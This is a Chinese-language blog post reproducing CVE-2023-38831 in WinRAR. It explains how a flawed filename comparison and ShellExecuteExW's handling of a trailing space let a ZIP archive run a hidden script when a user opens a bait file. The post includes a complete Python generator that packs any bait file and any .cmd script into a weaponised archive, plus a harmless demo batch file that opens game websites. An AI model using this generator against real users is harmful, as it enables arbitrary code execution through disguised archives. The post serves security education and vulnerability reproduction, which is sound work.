CVE-2023-38831 WinRAR漏洞复现

发布时间 2023-12-08 14:01:56作者: 凪白Kw

背景

2023年10月,在研究 DarkMe 恶意软件的传播时,Group-IB 威胁情报单位在 WinRAR 处理 ZIP 文件格式时遇到了一个以前未知的漏洞。通过利用该程序中的漏洞,威胁行为者能够制作 ZIP 存档,作为各种恶意软件系列的载体。武器化的ZIP档案在交易论坛上分发。一旦提取并执行,该恶意软件允许威胁行为者从经纪人账户中提取资金。该漏洞自2023年4月起被利用。

受影响的版本

https://avd.aliyun.com/detail?id=AVD-2023-38831

图源:https://avd.aliyun.com/detail?id=AVD-2023-38831

漏洞成因

·在zip文件格式中,使用了ZIPDIRENTRY结构体来管理压缩包内的文件和文件夹信息,包括名称、名称长度和修改日期等。WinRAR允许用户预览和执行压缩包内文件。但由于字符串比较代码的问题,当用户打开zip压缩包并执行文件时,WinRAR可能会错误地释放非用户所选的文件。
·WinRAR使用了ShellExecuteExW来启动目标文件,这是Windows系统的一个API函数,用于执行目标文件操作。然而,当文件路径字符串末尾存在空格时,该API会在路径末尾添加通配符“.*”并搜索匹配的文件来执行,导致了非目标文件的执行。

综上所述,这个漏洞的触发包含两个环节:
a.文件释放:由于文件名字符串的比较函数存在一定的问题,导致了非目标文件被释放;
b.文件执行:释放的文件经ShellExecuteExW执行,当路径字符串末尾有空格时,可能会导致路径下其他特定文件的执行。

漏洞详细成因请参考https://www.cnblogs.com/GoodFish-/archive/2023/09/21/17715977.html

漏洞复现

EXP脚本cve-2023-38831-exp-gen.py

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"

BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
SCRIPT_NAME = "script.bat"

if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\cve-2023-38831-exp-gen.py poc
          python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)

print("ok..")

待执行命令 script.bat

@echo off
start "" "https://ys.mihoyo.com/"
start "" "https://ys-api.mihoyo.com/event/download_porter/link/ys_cn/official/pc_default

创建诱饵文件test.png(可以是.txt .pdf等等)

将这三个文件放在同一个目录下,并在当前目录执行python cve-2023-38831-exp-gen.py test.png script.bat poc.rar获得验证文件poc.rar


打开poc.rar中的诱饵文件test.png


验证成功!

危害

可以让攻击者利用恶意的压缩文件在用户的电脑上执行任意代码,如跳转到钓鱼网站,危害用户的数据和隐私安全。

鸣谢

https://www.freebuf.com/vuls/376409.html
https://www.cnblogs.com/GoodFish-/archive/2023/09/21/17715977.html

免责声明

本文只用作技术交流,请勿用于任何非法行为!!!!